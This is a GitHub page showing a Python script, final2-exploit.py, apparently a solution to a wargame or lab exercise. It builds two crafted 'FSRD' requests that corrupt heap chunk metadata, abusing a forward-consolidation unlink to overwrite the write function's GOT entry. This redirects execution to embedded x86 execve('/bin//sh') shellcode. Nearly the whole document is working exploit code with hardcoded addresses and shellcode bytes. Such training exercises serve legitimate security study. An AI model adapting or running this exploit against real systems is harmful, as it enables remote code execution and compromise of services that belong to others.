-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathfinal2-exploit.py
73 lines (51 loc) · 2.49 KB
/
final2-exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import sys
def main():
payload = create_malicious_payload()
sys.stdout.buffer.write(payload)
def create_malicious_payload():
'''
The general idea is to create corruption in second heap buffer metadata so that
when the first buffer is freed, this corruption will trigger arbitrary free
('consolidate forward' unlink)
'''
# Some general stuff first
# ------------------------------------------------------------------------------------------
REQUEST_LEN = 128
NOT_IMPORTANT_WORD_WITH_INUSE_OFF = b'\xf0\xff\xff\xff'
NOT_IMPORTANT_WORD = b'\xff' * 4
MINUS4 = b'\xfc\xff\xff\xff'
# *(BK + 8) = FD
# *(FD + 12) = BK
# write syscall = 0x804e03c (-8) = 0x804e034 (this is our BK)
# address of 'payload to execute' (starting from JMP_PLUS18) = 0x0804f418 (this is our FD)
BK = b'\x34\xe0\x04\x08'
FD = b'\x18\xf4\x04\x08'
JMP_PLUS18 = b'\xeb\x12'
PAYLOAD_SHELL = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80'
# Create first request, it will have '/' at the end so that the next chunk will find it
# and start copying data there, creating metadata corruption for the next chunk (second request)
# ------------------------------------------------------------------------------------------
first_request = b'FSRD'
first_request += NOT_IMPORTANT_WORD # this will be overriden by 'BK' when this chunk is freed
first_request += JMP_PLUS18 + b'A' * 18 + PAYLOAD_SHELL # the jump is needed because of *(FD + 12) = BK
left_space_in_request = REQUEST_LEN - len(first_request) - 1
assert(left_space_in_request > 0)
first_request += b'A' * left_space_in_request
first_request += b'/'
# create second request with payload that will be copied at '/' in previous request
# ---------------
second_request = b'FSRD'
second_request += b'ROOT'
second_request += b'/'
# override second chunk metadata
second_request += NOT_IMPORTANT_WORD_WITH_INUSE_OFF
# this will point to previous byte ( we add -4 to previous address - NOT_IMPORTANT_WORD_WITH_INUSE_OFF
# and then look at size, which is the second word in a stucture, meaning + 4)
second_request += MINUS4
second_request += FD + BK
left_space_in_request = REQUEST_LEN - len(second_request)
assert(left_space_in_request > 0)
second_request += b'B' * left_space_in_request
return first_request + second_request
if __name__ == "__main__":
main()